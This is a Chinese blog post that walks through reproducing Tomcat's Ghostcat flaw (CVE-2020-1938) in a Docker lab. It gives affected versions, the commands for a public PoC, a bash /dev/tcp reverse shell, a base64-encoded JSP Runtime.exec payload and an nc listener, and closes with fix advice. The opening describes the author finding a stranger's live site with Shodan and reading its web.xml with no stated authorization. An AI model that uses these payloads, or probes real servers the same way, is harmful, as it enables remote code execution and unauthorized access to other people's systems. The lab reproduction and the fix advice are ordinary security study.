CVE-2020-1938 Tomcat 文件读取包含漏洞复现

CVE-2020-1938 Tomcat 文件读取包含漏洞复现

一次偶然的契机,起源于自己的站被日了,太菜了没找到原因,然后逛了逛室友的站,室友的友链中随便点了点友链什么的,发现shadon发现开了很多端口,并且同时打开了8009和8080

在这里插入图片描述

想到最近爆出的文件包含漏洞,扫一下果真存在,也验证成功了,读取到了web.xml的源码

在这里插入图片描述

用网上的脚本跑一下,读取WEB-INF/web.xml文件

在这里插入图片描述

读取ROOT目录下的build.xml文件内容,没用这个文件,就会跳转到错误页面

在这里插入图片描述

在这里插入图片描述

下面是自己搭建环境后的CVE-2020-1938 Tomcat 文件读取包含漏洞复现

利用docker拉去对应的镜像环境,docker的安装和基本操作看这篇

影响版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

漏洞概述

该漏洞使攻击者可以读取任何webapps文件(例如webapp配置文件,源代码等)或包括一个文件来远程执行代码。由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。

环境搭建

先搜索一下,然后拉取镜像,等待安装好

在这里插入图片描述

安装好后运行

在这里插入图片描述

安装docker-bash: /usr/local/bin/docker-compose: 权限不够

在这里插入图片描述

chmod +x /usr/local/bin/docker-compose

docker-compose up -d开启环境,等待下载

在这里插入图片描述

开始下载超级慢,更换源得以解决

在这里插入图片描述

终于成功开启

开启之后查看运行程序

在这里插入图片描述

这个时候访问虚拟机ip的8080端口即可发现打开了tomcat的后台

我这里是用的另一台虚拟机kali linux

在这里插入图片描述

漏洞复现

成功打开之后进行漏洞验证

漏洞检测

用nmap扫描端口,看是不是打开了8009端口

在这里插入图片描述

任意文件读取

poc下载:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

使用:python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.89.129 -p 8009 -f WEB-INF/web.xml

能查看到文件源码

在这里插入图片描述

既然是自己的环境,我们可以进自己的目录看看有什么文件

这个时候我们需要进入容器终端

进入容器终端

docker ps 查看状态,找到容器ID和名字

在这里插入图片描述

容器运行的时候可以用如下命令进入

#docker exec -it <容器名/容器ID> /bin/bash

输入指令进入

在这里插入图片描述

查看webapps下有很多文件,都是可以用上面的任意文件读取到的,这里不再一一贴出

在这里插入图片描述

文件包含

这个洞需要有上传点才使用,这里我直接在容器中手动添加

工具地址:

https://github.com/00theway/Ghostcat-CNVD-2020-10487

制作一个txt文件放在目录下,其中地址与网站中对应,上图红框,但是这个时候用vim命令写文件又出问题了

看这三篇博客解决吧

https://blog.csdn.net/mameng1988/article/details/83782831

https://blog.csdn.net/df_1818/article/details/106840600

https://blog.csdn.net/lovebird321/article/details/108927556

在这里插入图片描述

可算是能安装了

在这里插入图片描述

后面发现做这么多,只要源换对了就行了

阿里镜像源配置

http://www.xtuyzl.cn/index.php/2021/07/24/docker入门以及漏洞环境搭建/

文章末

这些真的够耗时间的,第一次做足了准备后面应该会顺利很多,下面还是测试

我们在攻击机利用poc进行文件包含执行漏洞:

反弹shell

bash -i >& /dev/tcp/192.168.89.130/4444

0>&1

反弹shellbase64加密

在这里插入图片描述

将文件命名问cmd.txt上传服务器:

用<%Runtime.getRuntime().exec("");%> 包裹

<%Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg5LjEzMC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}");%>

在这里插入图片描述

开启端口监听:nc -lvp 4444

在这里插入图片描述

这里看到有命令应该是已经执行了

在这里插入图片描述

可是没什么用啊,监听了并没用反应,命令执行复现失败

利用nc反弹shell

一天之后我卷土重来,发现了问题是上述过程没用<%Runtime.getRuntime().exec("");%> 包裹命令

修改之后反弹shell成功

在这里插入图片描述

漏洞修复

1、升级tomcat到最新版本

2、若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost。

环境关闭

docker-compose down

在这里插入图片描述

另一边肯定也就访问不到了

在这里插入图片描述

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值